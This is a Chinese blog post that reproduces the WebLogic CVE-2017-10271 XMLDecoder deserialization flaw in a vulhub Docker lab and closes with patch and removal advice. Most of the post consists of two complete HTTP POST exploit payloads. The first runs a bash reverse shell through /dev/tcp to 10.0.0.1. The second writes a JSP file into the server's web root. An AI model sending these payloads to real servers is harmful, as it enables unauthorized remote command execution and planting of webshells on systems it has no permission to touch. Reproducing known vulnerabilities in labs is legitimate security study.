WebLogic(CVE-2017-10271)

漏洞叙述

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本

OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0

 

漏洞复现

我使用的是vulhub+docker搭建的环境。

访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动

 

 

 

 getshell POC:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 

nc反弹

 

 

 

 

 反弹成功。

 

写入webshell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

 

 访问shell

http://192.168.6.130:7001/bea_wls_internal/test.jsp

 

 成功写入。

 

修复建议

 Oracle下载相关10271补丁,下载地址如下http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

  根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat/ 提示404错误;

针对该漏洞被恶意利用的单位可查看如下如下路径进行日志查看,具体的路径根据实际安装情况进行查看:

xx:\xx\Middleware\user_projects\domains\base_domain\servers\AdminServer\logs

 

posted @ 2021-03-09 23:01  夜布多  阅读(312)  评论(0编辑  收藏  举报